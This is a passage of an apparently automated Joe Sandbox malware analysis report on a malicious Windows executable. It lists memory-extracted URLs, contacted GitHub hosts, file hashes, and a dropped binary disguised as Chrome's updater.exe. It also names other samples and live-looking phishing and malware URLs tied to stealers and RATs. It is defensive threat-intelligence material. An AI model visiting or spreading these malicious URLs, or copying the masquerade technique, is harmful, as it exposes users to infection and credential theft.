http://schemas.xmlsoap.org/ws/2005/07/securitypolicy	lsass.exe, 00000018.00000000.1775533787.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2928618184.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1775569736.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2929519617.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.micro	powershell.exe, 00000001.00000002.1734566307.0000000006D5D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/wsdl/soap12/	lsass.exe, 00000018.00000000.1775533787.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2928618184.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://objects.githubusercontent.com	powershell.exe, 00000001.00000002.1726618411.0000000004A61000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lBfq	powershell.exe, 00000001.00000002.1726618411.0000000004441000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000001.00000002.1726618411.0000000004596000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1799500674.00000202E2429000.00000004.00000800.00020000.00000000.sdmp, lsass.exe, 00000018.00000000.1775533787.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2928618184.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000011.00000002.1844700325.00000202F2274000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.1730889772.00000000054AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1844700325.00000202F2274000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000011.00000002.1799500674.00000202E2201000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/ws-sx/ws-trust/200512	lsass.exe, 00000018.00000000.1775569736.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2929519617.00000202BFC4E000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	lsass.exe, 00000018.00000000.1775533787.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000018.00000002.2928618184.00000202BFC2F000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://objects.githubusercontent.com	powershell.exe, 00000001.00000002.1726618411.0000000004A7F000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.1726618411.0000000004441000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1799500674.00000202E2201000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://objects.githubusercontent.com/github-production-release-asset-2e65be/672232730/d6a03019-07cf	powershell.exe, 00000001.00000002.1726618411.0000000004A61000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
140.82.121.4	github.com	United States		36459	GITHUBUS	false
185.199.110.133	objects.githubusercontent.com	Netherlands		54113	FASTLYUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1451678
Start date and time:	2024-06-04 13:40:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	25
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe
Detection:	MAL
Classification:	mal100.adwa.spyw.evad.winEXE@38/76@2/3
EGA Information:	Successful, ratio: 87%
HCA Information:	Successful, ratio: 79% Number of executed functions: 150 Number of non-executed functions: 337
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 20.190.160.20, 40.126.32.68, 20.190.160.22, 20.190.160.17, 40.126.32.76, 40.126.32.134, 40.126.32.133, 40.126.32.138
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, ocsp.edge.digicert.com, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target powershell.exe, PID 7324 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7936 because it is empty
Execution Graph export aborted for target svc.exe, PID 7576 because it is empty
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:41:02	API Interceptor	86x Sleep call for process: powershell.exe modified
07:41:08	API Interceptor	1x Sleep call for process: svc.exe modified
07:41:45	API Interceptor	360398x Sleep call for process: winlogon.exe modified
07:41:46	API Interceptor	285201x Sleep call for process: lsass.exe modified
07:41:46	API Interceptor	1785x Sleep call for process: dialer.exe modified
07:41:47	API Interceptor	8646x Sleep call for process: svchost.exe modified
07:41:49	API Interceptor	332731x Sleep call for process: dwm.exe modified
12:41:15	Task Scheduler	Run new task: GoogleUpdateTaskMachineQC path: C:\Program Files\Google\Chrome\updater.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
140.82.121.4	RfORrHIRNe.doc	Get hash	malicious	Unknown	Browse	github.com/ssbb36/stv/raw/main/5.mp3
185.199.110.133	https://advaith07.github.io/Netflix_ui_clone	Get hash	malicious	Unknown	Browse
	cb67a188bafea0fd5f5e9725881c88a1c494763c094f76df73914bd8cadce170_dump.exe	Get hash	malicious	PureLog Stealer, RedLine, RisePro Stealer	Browse
	https://raw.githubusercontent.com/ze0r/cve-2018-8453-exp/master/exp_x64_palette_length/x64/Release/exp.exe	Get hash	malicious	Unknown	Browse
	https://raw.githubusercontent.com/ze0r/cve-2018-8453-exp/master/exp_x64_palette_length/x64/Release/exp.exe	Get hash	malicious	Unknown	Browse
	http://dapp-starter-g3by6mqqf-dung-huynh-duc-kakas-projects.vercel.app/	Get hash	malicious	Unknown	Browse
	Scanned_05_28-2024_338500.html	Get hash	malicious	Unknown	Browse
	8Zi7xnKKw7.exe	Get hash	malicious	Python Stealer, DCRat, Discord Token Stealer, Empyrean	Browse
	oc2exe.exe	Get hash	malicious	Unknown	Browse
	http://joinchat8g7135b.12trm.my.id/vhsfhqpdhdsih6/	Get hash	malicious	Unknown	Browse
	KRPCeWt0II.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
github.com	exploit.bat	Get hash	malicious	Abobus Obfuscator	Browse	140.82.121.4
	d-obf.bat	Get hash	malicious	Abobus Obfuscator	Browse	140.82.121.4
	https://exhibitforceex-my.sharepoint.com/:b:/g/personal/michael_yow_exhibitforce_com/Ee7xWbZTr-dMpdN7hsusB_sBFFe4ol53YFm0SuW_9R6YJg?e=Zr4gBo	Get hash	malicious	HTMLPhisher	Browse	140.82.121.4
	Invoice646737327328282892992.jar	Get hash	malicious	STRRAT	Browse	140.82.121.3
	7h2eHzSa61.exe	Get hash	malicious	Gurcu Stealer, WhiteSnake Stealer	Browse	140.82.121.3
	Drawing specification and Issued PO #07329.jar	Get hash	malicious	STRRAT	Browse	140.82.121.4
	Drawing specification and Issued PO #07329.ja.jar	Get hash	malicious	STRRAT	Browse	140.82.121.3
fp2e7a.wpc.phicdn.net	http://meari.com	Get hash	malicious	Unknown	Browse	192.229.221.95
	http://eal2023.es	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:be94af7a-734f-4324-8160-e952ef419173	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://clingsconst.li/?c=67145	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://gepkint.quest/park-loader.js	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://flow.page/sharedfile.dco	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	http://aaa.stage.15790461.ns1.1U1gpUP5i8KbTVCTq9PeakbLHhZk.com	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://www.4dots-software.com/simple-disable-key/	Get hash	malicious	Unknown	Browse	192.229.221.95
	hesaphareketi_01.exe	Get hash	malicious	AgentTesla	Browse	192.229.221.95
	https://idaireland.sharepoint.com/:f:/s/ExternalCollaborationSite/Em_R2MeMeZpIoB9tnF5h_Y4BXnuHKyiZkgULelEyOe7AIA?email=Andrew.McMahon%40ocs.com&e=eVquxG	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
objects.githubusercontent.com	https://exhibitforceex-my.sharepoint.com/:b:/g/personal/michael_yow_exhibitforce_com/Ee7xWbZTr-dMpdN7hsusB_sBFFe4ol53YFm0SuW_9R6YJg?e=Zr4gBo	Get hash	malicious	HTMLPhisher	Browse	185.199.108.133
	7h2eHzSa61.exe	Get hash	malicious	Gurcu Stealer, WhiteSnake Stealer	Browse	185.199.111.133
	https://eikwr09672.eleteriod.com/9i86j10253/#ZGFuQGFzdHJhbmlzLmNvbQ==	Get hash	malicious	Unknown	Browse	185.199.111.133
	https://github.com/hmrc/claim-tax-refund/files/15487332/TaxrefundlistPDF.zip	Get hash	malicious	Remcos	Browse	185.199.111.133
	https://github.com/electerm/electerm/releases/download/v1.39.18/electerm-1.39.18-win-x64-installer.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	Android TV Tools v3_ES.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
	Android TV Tools v3_EN.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	Android TV Tools v3_ES.exe	Get hash	malicious	Unknown	Browse	185.199.111.133
	Android TV Tools v3_EN.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	Android TV Tools v3_EN.exe	Get hash	malicious	Unknown	Browse	185.199.109.133

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:be94af7a-734f-4324-8160-e952ef419173	Get hash	malicious	Unknown	Browse	151.101.129.138
	https://www.4dots-software.com/simple-disable-key/	Get hash	malicious	Unknown	Browse	104.244.43.131
	https://correspondencetrack.azurewebsites.net/?SmgOcmqUTmbokdRbzrnnQJfUTRbWVscm9zZWJ1aWxkZXJzLmNvbS5hdS9XU0htVGxNdXVWeHh6bkx2P2tpcmsuY2hlZXNtYW5AbmNpLmNvbS5hdQ==	Get hash	malicious	Unknown	Browse	151.101.0.176
	https://pencairan-dana-giveaway.anakdara9.art/	Get hash	malicious	Unknown	Browse	23.185.0.4
	https://revlew-page-case-4405729.fb20241.me/help/contact/235944958798777	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://nickb5942-conatec-toen-actiebelus.pages.dev/help/contact/259770976479606	Get hash	malicious	Unknown	Browse	151.101.129.229
	https://advaith07.github.io/Netflix_ui_clone	Get hash	malicious	Unknown	Browse	185.199.110.133
	http://registrefilcomannelle.ac-page.com/examenh/	Get hash	malicious	Unknown	Browse	151.101.129.140
	https://surya-0987.github.io/Netflix_clone	Get hash	malicious	Unknown	Browse	185.199.110.153
	https://exhibitforceex-my.sharepoint.com/:b:/g/personal/michael_yow_exhibitforce_com/Ee7xWbZTr-dMpdN7hsusB_sBFFe4ol53YFm0SuW_9R6YJg?e=Zr4gBo	Get hash	malicious	HTMLPhisher	Browse	185.199.108.133
GITHUBUS	exploit.bat	Get hash	malicious	Abobus Obfuscator	Browse	140.82.121.4
	d-obf.bat	Get hash	malicious	Abobus Obfuscator	Browse	140.82.121.4
	https://advaith07.github.io/Netflix_ui_clone	Get hash	malicious	Unknown	Browse	140.82.113.18
	https://exhibitforceex-my.sharepoint.com/:b:/g/personal/michael_yow_exhibitforce_com/Ee7xWbZTr-dMpdN7hsusB_sBFFe4ol53YFm0SuW_9R6YJg?e=Zr4gBo	Get hash	malicious	HTMLPhisher	Browse	140.82.121.4
	Invoice646737327328282892992.jar	Get hash	malicious	STRRAT	Browse	140.82.121.4
	7h2eHzSa61.exe	Get hash	malicious	Gurcu Stealer, WhiteSnake Stealer	Browse	140.82.121.3
	Drawing specification and Issued PO #07329.jar	Get hash	malicious	STRRAT	Browse	140.82.121.4
	http://new-flirt.click/?f=qqrntu&s=687474703a2f2f646174696e6773722e636f6d2f6e65772f3f733d383426263533313839333833383938383631372664693d37672d323031382665643d64657526693d61646d696e38342c38323039372c526f6e6e792e4a61656765724064657574736368656261686e2e636f6d2c2674733d3137313730373738313726313133383530393031393535373338&	Get hash	malicious	Unknown	Browse	140.82.121.6
	Drawing specification and Issued PO #07329.ja.jar	Get hash	malicious	STRRAT	Browse	140.82.121.4
	http://dapp-starter-g3by6mqqf-dung-huynh-duc-kakas-projects.vercel.app/	Get hash	malicious	Unknown	Browse	140.82.113.22

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	SecuriteInfo.com.Win32.Malware-gen.15356.26888.exe	Get hash	malicious	Unknown	Browse	185.199.110.133 140.82.121.4
	http://meari.com	Get hash	malicious	Unknown	Browse	185.199.110.133 140.82.121.4
	Financial Invoice Report - STI ME-3051-2024.exe	Get hash	malicious	AgentTesla	Browse	185.199.110.133 140.82.121.4
	VfeC87R1r6.exe	Get hash	malicious	AgentTesla	Browse	185.199.110.133 140.82.121.4
	6fFMtJre1M.exe	Get hash	malicious	AgentTesla	Browse	185.199.110.133 140.82.121.4
	U39qqK8E7o.exe	Get hash	malicious	AgentTesla	Browse	185.199.110.133 140.82.121.4
	exploit.bat	Get hash	malicious	Abobus Obfuscator	Browse	185.199.110.133 140.82.121.4
	d-obf.bat	Get hash	malicious	Abobus Obfuscator	Browse	185.199.110.133 140.82.121.4
	Balance payment.exe	Get hash	malicious	AgentTesla	Browse	185.199.110.133 140.82.121.4
	wells_fargo_statement lnk.lnk	Get hash	malicious	Unknown	Browse	185.199.110.133 140.82.121.4

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nhylsjsvllxf.tmp	H8Q1WRGrzw.exe	Get hash	malicious	AsyncRAT, AveMaria, UACMe, VenomRAT, Xmrig, zgRAT	Browse
	vABMEuk0Ie.exe	Get hash	malicious	Xmrig	Browse
	Readme.lnk	Get hash	malicious	AsyncRAT, AveMaria, UACMe, VenomRAT, Xmrig, zgRAT	Browse
	SecuriteInfo.com.Win64.CrypterX-gen.16599.19591.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	000Stealer, Amadey, Glupteba, PrivateLoader, SmokeLoader	Browse
	rust_cheat.exe	Get hash	malicious	Xmrig	Browse
	blaaack.exe	Get hash	malicious	RedLine	Browse

Created / dropped Files

C:\Program Files\Google\Chrome\updater.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\svc.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	10426648
Entropy (8bit):	7.648557200639253
Encrypted:	false
SSDEEP:	98304:Ri8PI8YhtNar6EzgWmw4386lomr6V3HrP8WXcePQB5FxxJpP8oojTvZf9tn7/gal:RdgrhPaGEwlomO8McYg7Fd0TvZ9t/0y
MD5:	327B8ED0CDEBAE6962718656B5A72A4C
SHA1:	CA1D9CF5D800C9743DD194A334C149B979FD833E
SHA-256:	392CF677345CC76896C49A0C996D224D7DDB5F74CFA443CD8FD26FCF936571BD
SHA-512:	237043CC79C2471804C5D66FE22B39DEF95E0A0FEDF4EA438B9A560BF2535DE8F3C40CB0C0818ED4DFCB353D1B7D96772CC142AEB055F5055D21F1B69DE95172
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@.......................................hr......!..L.!This program cannot be run in DOS mode....$.......PE..d...i..d...............&........>.............@..........................................`... ..............................................@..p....p..................)......0...............................(....................B..`............................text...............................`..`.data....n.......n..................@....rdata...O...p...P...Z..............@..@.pdata..............................@..@.xdata..\..........................@..@.bss.....=...............................idata..p....@.....................@....CRT....`....P.....................@....tls.........`.....................@....rsrc........p.....................@....reloc..0..........................@..B........................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Vault\UserProfileRoaming\Latest.dat

Download File

Process:	C:\Windows\System32\lsass.exe
File Type:	very short file (no magic)
Category:	modified
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	93B885ADFE0DA089CDF634904FD59F71
SHA1:	5BA93C9DB0CFF93F52B521D7420E43F6EDA2784F
SHA-256:	6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D
SHA-512:	B8244D028981D693AF7B456AF8EFA4CAD63D282E19FF14942C246E50D9351D22704A802A71C3580B6370DE4CEB293C324A8423342557D4E5C38438F0E36910EE
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2eawipj5.43a.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f55ber3j.42j.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hb1wghev.s3a.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hctnl21w.wgh.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lxeau2et.2sy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pla451id.2ff.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_psrxwgxn.f2d.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u51xj5yl.jfb.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wdier0x1.ypd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xpbnsxve.kim.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yhzx1ytw.bif.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zxz0i1mr.rus.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
